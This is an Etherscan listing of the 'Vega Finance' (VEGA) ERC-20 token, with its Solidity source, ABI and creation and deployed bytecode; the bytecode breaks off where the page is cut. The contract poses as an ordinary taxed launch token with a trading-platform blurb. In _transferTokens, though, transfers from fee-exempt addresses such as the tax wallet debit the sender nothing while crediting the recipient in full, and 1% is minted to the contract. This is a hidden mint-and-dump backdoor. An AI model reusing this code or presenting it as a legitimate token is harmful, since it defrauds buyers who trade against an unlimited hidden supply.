Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 VEGA
Holders
69
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
950,126.583365910795998141 VEGAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
VegaFinance
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-05 */ // SPDX-License-Identifier: MIT /* What is VEGA? Vega is a self-custodial, high performance crypto trading platform for options, perpetuals and spot trading. It consists of three distinct components: Vega Chain: A rollup built using the OP stack that scales Ethereum whilst inheriting its security. Vega Protocol: A protocol that enables the margining and settlement of perpetuals, options and spot. Vega Exchange: A self-custodial service that performs zero cost and low latency matching. Website: https://www.vegafinance.forex Docs: https://docs.vegafinance.forex Medium: https://medium.com/@vega_finance Twitter: https://twitter.com/vega_trading_fi Telegram: https://t.me/vega_finance */ pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IUniDexV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniDexV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract VegaFinance is ERC20, Ownable { using SafeMath for uint256; address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address DEAD = 0x000000000000000000000000000000000000dEaD; string constant _name = "Vega Finance"; string constant _symbol = "VEGA"; uint8 constant _decimals = 18; uint256 public _totalSupply = 100_000_000 * (10**_decimals); uint256 public _maxWalletAmount = (_totalSupply * 2) / 100; uint256 public _swapThreshold = (_totalSupply * 1)/ 100000; uint256 public _maxTaxSwap=(_totalSupply * 2) / 1000; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) isFeeExempt; mapping(address => bool) isTxLimitExempt; address public _taxWallet; address public pair; IUniDexV2Router public dexV2Router; bool public swapEnabled = false; bool public feesEnabled = false; bool public TradingOpen = false; uint256 private _initBuyTax=20; uint256 private _initSellTax=20; uint256 private _finalBuyTax=2; uint256 private _finalSellTax=2; uint256 private _reduceBuyTaxAt=19; uint256 private _reduceSellTaxAt=24; uint256 private _buyCounts=0; bool inSwap; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address vegaWallet) Ownable(msg.sender) { address _owner = owner; _taxWallet = vegaWallet; isFeeExempt[_owner] = true; isFeeExempt[_taxWallet] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[_owner] = true; isTxLimitExempt[_taxWallet] = true; isTxLimitExempt[address(this)] = true; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } function createVegaTrade() external onlyOwner { dexV2Router = IUniDexV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IUniDexV2Factory(dexV2Router.factory()).createPair(address(this), dexV2Router.WETH()); isTxLimitExempt[pair] = true; _allowances[address(this)][address(dexV2Router)] = type(uint256).max; dexV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp); } function enableVegaTrade() public onlyOwner { require(!TradingOpen,"trading is already open"); TradingOpen = true; feesEnabled = true; swapEnabled = true; } function name() external pure override returns (string memory) { return _name; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function isTakeFees(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } receive() external payable { } function inSwapVega(bool takeFee , uint actions, uint256 amount) internal view returns (bool) { uint256 tokensAtThreshold = _swapThreshold; uint256 tokenAtAmount = amount; uint256 tokensContractBalance = balanceOf(address(this)); bool isSwapback = tokensContractBalance > tokensAtThreshold && tokenAtAmount > tokensAtThreshold; return !inSwap && takeFee && actions > 1 && isSwapback && swapEnabled; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] .sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } /** Internal functions **/ function takeVegaAmountAfterFees(uint action, bool takefee, uint256 amounts) internal returns (uint256) { uint256 vegaPercents; uint256 vegaFeePrDenominator = 100; vegaPercents = takefee ? action > 1 ? (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax) : action > 0 ? (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax) : 0 : 1; uint256 feeAmounts = amounts.mul(vegaPercents).div(vegaFeePrDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmounts); feeAmounts = takefee ? feeAmounts : amounts.mul(vegaPercents * 100).div(vegaFeePrDenominator); return amounts.sub(feeAmounts); } function increaseBuyCount(address sender) internal { if(sender == pair) { _buyCounts++; } } function isTakeVegaActions(address from, address to) internal view returns (uint) { uint actionType = 0; if(to == pair) { actionType = 2; } else if (from == pair) { actionType = 1; } else { actionType = 0; } return actionType; } function _transferFrom( address sender, address recipient, uint256 amount ) internal returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takefee; uint actions; if (inSwap) { return _basicTransfer(sender, recipient, amount); } if(!isFeeExempt[sender] && !isFeeExempt[recipient]){ require(TradingOpen,"Trading not open yet"); } if(!swapEnabled) { return _basicTransfer(sender, recipient, amount); } if (recipient != pair && recipient != DEAD && !isFeeExempt[sender] && !isFeeExempt[recipient]) { require( isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size." ); increaseBuyCount(sender); } takefee = isTakeFees(sender); actions = isTakeVegaActions(sender, recipient); if (inSwapVega(takefee, actions, amount)) { internalSwapBackVega(amount); } _transferTokens(sender, recipient, amount, takefee, actions); return true; } function _transferTokens( address sender, address recipient, uint256 tAmount, bool takeFee, uint action ) private { uint256 senderAmount = takeFee ? tAmount : feesEnabled ? takeVegaAmountAfterFees(action, takeFee, tAmount) : tAmount; uint256 recipientAmount = feesEnabled && takeFee ? takeVegaAmountAfterFees(action, takeFee, tAmount) : tAmount; _balances[sender] = _balances[sender].sub( senderAmount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(recipientAmount); emit Transfer(sender, recipient, recipientAmount); } function internalSwapBackVega(uint256 amount) private lockTheSwap { uint256 contractTokenBalance = balanceOf(address(this)); uint256 amountToSwap = min(amount, min(contractTokenBalance, _maxTaxSwap)); address[] memory path = new address[](2); path[0] = address(this); path[1] = dexV2Router.WETH(); dexV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETHMarketing = address(this).balance; payable(_taxWallet).transfer(amountETHMarketing); } function removeVegaLimit() external onlyOwner returns (bool) { _maxWalletAmount = _totalSupply; return true; } function withdrawVegaBalance() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"vegaWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createVegaTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dexV2Router","outputs":[{"internalType":"contract IUniDexV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableVegaTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeVegaLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawVegaBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486012600a6200032b565b62000058906305f5e10062000343565b600355606460035460026200006e919062000343565b6200007a91906200035d565b600455620186a0600354600162000092919062000343565b6200009e91906200035d565b6005556103e86003546002620000b5919062000343565b620000c191906200035d565b600655600d805462ffffff60a01b191690556014600e819055600f819055600260108190556011556013601281905560189055600090553480156200010557600080fd5b5060405162001cd338038062001cd3833981016040819052620001289162000380565b600080546001600160a01b0319908116339081178355600b80546001600160a01b0386811691909416178155818452600960209081526040808620805460ff1990811660019081179092558454871688528288208054821683179055308089528389208054831684179055868952600a8552838920805483168417905594549096168752818720805487168217905592865280862080549095169092179093556003548285526007845281852081905590519081529092839290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620003ab565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200026d57816000190482111562000251576200025162000216565b808516156200025f57918102915b93841c939080029062000231565b509250929050565b600082620002865750600162000325565b81620002955750600062000325565b8160018114620002ae5760028114620002b957620002d9565b600191505062000325565b60ff841115620002cd57620002cd62000216565b50506001821b62000325565b5060208310610133831016604e8410600b8410161715620002fe575081810a62000325565b6200030a83836200022c565b806000190482111562000321576200032162000216565b0290505b92915050565b60006200033c60ff84168362000275565b9392505050565b808202811582820484141762000325576200032562000216565b6000826200037b57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200039357600080fd5b81516001600160a01b03811681146200033c57600080fd5b61191880620003bb6000396000f3fe6080604052600436106101855760003560e01c80633eaaf86b116100d1578063893d20e81161008a578063a8aa1b3111610064578063a8aa1b3114610471578063a9059cbb14610491578063c3e39e59146104b1578063dd62ed3e146104d157600080fd5b8063893d20e81461040557806395d89b4114610423578063a64e4f8a1461045057600080fd5b80633eaaf86b146103355780636c0a24eb1461034b5780636ddd1713146103615780636f268a991461038257806370a08231146103ba578063715018a6146103f057600080fd5b806315312c2e1161013e57806323b872dd1161011857806323b872dd146102b55780632f54bf6e146102d5578063313ce5671461030457806338ec60e71461032057600080fd5b806315312c2e1461027457806318160ddd1461028b5780631fb5140f146102a057600080fd5b8063046eb1e31461019157806306fdde03146101bb57806308fd3d05146101f9578063095ea7b31461021a5780630e5a92311461023a5780630faee56f1461025e57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610517565b60405190151581526020015b60405180910390f35b3480156101c757600080fd5b5060408051808201909152600c81526b566567612046696e616e636560a01b60208201525b6040516101b2919061163c565b34801561020557600080fd5b50600d546101a690600160b01b900460ff1681565b34801561022657600080fd5b506101a661023536600461169f565b610557565b34801561024657600080fd5b5061025060055481565b6040519081526020016101b2565b34801561026a57600080fd5b5061025060065481565b34801561028057600080fd5b506102896105c4565b005b34801561029757600080fd5b50600354610250565b3480156102ac57600080fd5b50610289610661565b3480156102c157600080fd5b506101a66102d03660046116cb565b610703565b3480156102e157600080fd5b506101a66102f036600461170c565b6000546001600160a01b0391821691161490565b34801561031057600080fd5b50604051601281526020016101b2565b34801561032c57600080fd5b506102896107c5565b34801561034157600080fd5b5061025060035481565b34801561035757600080fd5b5061025060045481565b34801561036d57600080fd5b50600d546101a690600160a01b900460ff1681565b34801561038e57600080fd5b50600b546103a2906001600160a01b031681565b6040516001600160a01b0390911681526020016101b2565b3480156103c657600080fd5b506102506103d536600461170c565b6001600160a01b031660009081526007602052604090205490565b3480156103fc57600080fd5b50610289610a77565b34801561041157600080fd5b506000546001600160a01b03166103a2565b34801561042f57600080fd5b506040805180820190915260048152635645474160e01b60208201526101ec565b34801561045c57600080fd5b50600d546101a690600160a81b900460ff1681565b34801561047d57600080fd5b50600c546103a2906001600160a01b031681565b34801561049d57600080fd5b506101a66104ac36600461169f565b610ae6565b3480156104bd57600080fd5b50600d546103a2906001600160a01b031681565b3480156104dd57600080fd5b506102506104ec366004611729565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b600080546001600160a01b0316331461054b5760405162461bcd60e51b815260040161054290611762565b60405180910390fd5b50600354600455600190565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105b29086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146105ee5760405162461bcd60e51b815260040161054290611762565b600d54600160b01b900460ff16156106485760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610542565b600d805462ffffff60a01b19166201010160a01b179055565b6000546001600160a01b0316331461068b5760405162461bcd60e51b815260040161054290611762565b600047116106d45760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610542565b60405133904780156108fc02916000818181858888f19350505050158015610700573d6000803e3d6000fd5b50565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146107b0576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b038716600090815260088252838120338252909152919091205461078b918490610af3565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b6107bb848484610b2d565b90505b9392505050565b6000546001600160a01b031633146107ef5760405162461bcd60e51b815260040161054290611762565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610853573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108779190611782565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fd9190611782565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561094a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096e9190611782565b600c80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff191660011790553080845260088352818420600d805487168652908452828520600019905554818552600790935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610a4d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a72919061179f565b505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161054290611762565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006107be338484610b2d565b60008184841115610b175760405162461bcd60e51b8152600401610542919061163c565b506000610b2484866117e3565b95945050505050565b60006001600160a01b038416610b935760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610542565b6001600160a01b038316610bf55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610542565b60008211610c575760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610542565b601554600090819060ff1615610c7b57610c72868686610eb5565b925050506107be565b6001600160a01b03861660009081526009602052604090205460ff16158015610cbd57506001600160a01b03851660009081526009602052604090205460ff16155b15610d1257600d54600160b01b900460ff16610d125760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610542565b600d54600160a01b900460ff16610d2e57610c72868686610eb5565b600c546001600160a01b03868116911614801590610d5a57506002546001600160a01b03868116911614155b8015610d7f57506001600160a01b03861660009081526009602052604090205460ff16155b8015610da457506001600160a01b03851660009081526009602052604090205460ff16155b15610e58576001600160a01b0385166000908152600a602052604090205460ff1680610df557506004546001600160a01b038616600090815260076020526040902054610df29086906117f6565b11155b610e4f5760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b6064820152608401610542565b610e5886610f9b565b6001600160a01b03861660009081526009602052604090205460ff16159150610e818686610fc9565b9050610e8e828286611014565b15610e9c57610e9c84611096565b610ea9868686858561125c565b50600195945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054610f06918490610af3565b6001600160a01b038086166000908152600760205260408082209390935590851681522054610f3590836113b9565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f899086815260200190565b60405180910390a35060019392505050565b600c546001600160a01b03908116908216036107005760148054906000610fc183611809565b919050555050565b600c5460009081906001600160a01b0390811690841603610fec575060026107be565b600c546001600160a01b039081169085160361100a575060016107be565b5060009392505050565b600554600090828261103b306001600160a01b031660009081526007602052604090205490565b90506000838211801561104d57508383115b60155490915060ff161580156110605750875b801561106c5750600187115b80156110755750805b801561108a5750600d54600160a01b900460ff165b98975050505050505050565b6015805460ff1916600117905530600090815260076020526040812054905060006110cc836110c784600654611418565b611418565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061110657611106611822565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561115f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111839190611782565b8160018151811061119657611196611822565b6001600160a01b039283166020918202929092010152600d5460405163791ac94760e01b815291169063791ac947906111dc908590600090869030904290600401611838565b600060405180830381600087803b1580156111f657600080fd5b505af115801561120a573d6000803e3d6000fd5b5050600b546040514793506001600160a01b03909116915082156108fc029083906000818181858888f1935050505015801561124a573d6000803e3d6000fd5b50506015805460ff1916905550505050565b60008261128a57600d54600160a81b900460ff1661127a578361128c565b61128582848661142d565b61128c565b835b600d54909150600090600160a81b900460ff1680156112a85750835b6112b257846112bd565b6112bd83858761142d565b90506113258260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b815250600760008b6001600160a01b03166001600160a01b0316815260200190815260200160002054610af39092919063ffffffff16565b6001600160a01b03808916600090815260076020526040808220939093559088168152205461135490826113b9565b6001600160a01b0380881660008181526007602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113a89085815260200190565b60405180910390a350505050505050565b6000806113c683856117f6565b9050838110156107be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610542565b600081831161142757826107be565b50919050565b60008060648461143e576001611487565b600186116114705760008611611455576000611487565b6012546014541161146857600e54611487565b601054611487565b6013546014541161148357600f54611487565b6011545b9150600061149f826114998786611508565b9061158a565b306000908152600760205260409020549091506114bc90826113b9565b30600090815260076020526040902055856114ef576114ea826114996114e38660646118a9565b8890611508565b6114f1565b805b90506114fd85826115cc565b979650505050505050565b60008260000361151a575060006105be565b600061152683856118a9565b90508261153385836118c0565b146107be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610542565b60006107be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061160e565b60006107be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610af3565b6000818361162f5760405162461bcd60e51b8152600401610542919061163c565b506000610b2484866118c0565b600060208083528351808285015260005b818110156116695785810183015185820160400152820161164d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461070057600080fd5b600080604083850312156116b257600080fd5b82356116bd8161168a565b946020939093013593505050565b6000806000606084860312156116e057600080fd5b83356116eb8161168a565b925060208401356116fb8161168a565b929592945050506040919091013590565b60006020828403121561171e57600080fd5b81356107be8161168a565b6000806040838503121561173c57600080fd5b82356117478161168a565b915060208301356117578161168a565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561179457600080fd5b81516107be8161168a565b6000806000606084860312156117b457600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b818103818111156105be576105be6117cd565b808201808211156105be576105be6117cd565b60006001820161181b5761181b6117cd565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118885784516001600160a01b031683529383019391830191600101611863565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176105be576105be6117cd565b6000826118dd57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122069aa337303dadc2a723004882b3c078c82e5b826fd5aab57b39d09b653951c9364736f6c6343000813003300000000000000000000000083b08184a925a99c82443235d15d0117861012b2
Deployed Bytecode
0x6080604052600436106101855760003560e01c80633eaaf86b116100d1578063893d20e81161008a578063a8aa1b3111610064578063a8aa1b3114610471578063a9059cbb14610491578063c3e39e59146104b1578063dd62ed3e146104d157600080fd5b8063893d20e81461040557806395d89b4114610423578063a64e4f8a1461045057600080fd5b80633eaaf86b146103355780636c0a24eb1461034b5780636ddd1713146103615780636f268a991461038257806370a08231146103ba578063715018a6146103f057600080fd5b806315312c2e1161013e57806323b872dd1161011857806323b872dd146102b55780632f54bf6e146102d5578063313ce5671461030457806338ec60e71461032057600080fd5b806315312c2e1461027457806318160ddd1461028b5780631fb5140f146102a057600080fd5b8063046eb1e31461019157806306fdde03146101bb57806308fd3d05146101f9578063095ea7b31461021a5780630e5a92311461023a5780630faee56f1461025e57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610517565b60405190151581526020015b60405180910390f35b3480156101c757600080fd5b5060408051808201909152600c81526b566567612046696e616e636560a01b60208201525b6040516101b2919061163c565b34801561020557600080fd5b50600d546101a690600160b01b900460ff1681565b34801561022657600080fd5b506101a661023536600461169f565b610557565b34801561024657600080fd5b5061025060055481565b6040519081526020016101b2565b34801561026a57600080fd5b5061025060065481565b34801561028057600080fd5b506102896105c4565b005b34801561029757600080fd5b50600354610250565b3480156102ac57600080fd5b50610289610661565b3480156102c157600080fd5b506101a66102d03660046116cb565b610703565b3480156102e157600080fd5b506101a66102f036600461170c565b6000546001600160a01b0391821691161490565b34801561031057600080fd5b50604051601281526020016101b2565b34801561032c57600080fd5b506102896107c5565b34801561034157600080fd5b5061025060035481565b34801561035757600080fd5b5061025060045481565b34801561036d57600080fd5b50600d546101a690600160a01b900460ff1681565b34801561038e57600080fd5b50600b546103a2906001600160a01b031681565b6040516001600160a01b0390911681526020016101b2565b3480156103c657600080fd5b506102506103d536600461170c565b6001600160a01b031660009081526007602052604090205490565b3480156103fc57600080fd5b50610289610a77565b34801561041157600080fd5b506000546001600160a01b03166103a2565b34801561042f57600080fd5b506040805180820190915260048152635645474160e01b60208201526101ec565b34801561045c57600080fd5b50600d546101a690600160a81b900460ff1681565b34801561047d57600080fd5b50600c546103a2906001600160a01b031681565b34801561049d57600080fd5b506101a66104ac36600461169f565b610ae6565b3480156104bd57600080fd5b50600d546103a2906001600160a01b031681565b3480156104dd57600080fd5b506102506104ec366004611729565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b600080546001600160a01b0316331461054b5760405162461bcd60e51b815260040161054290611762565b60405180910390fd5b50600354600455600190565b3360008181526008602090815260408083206001600160a01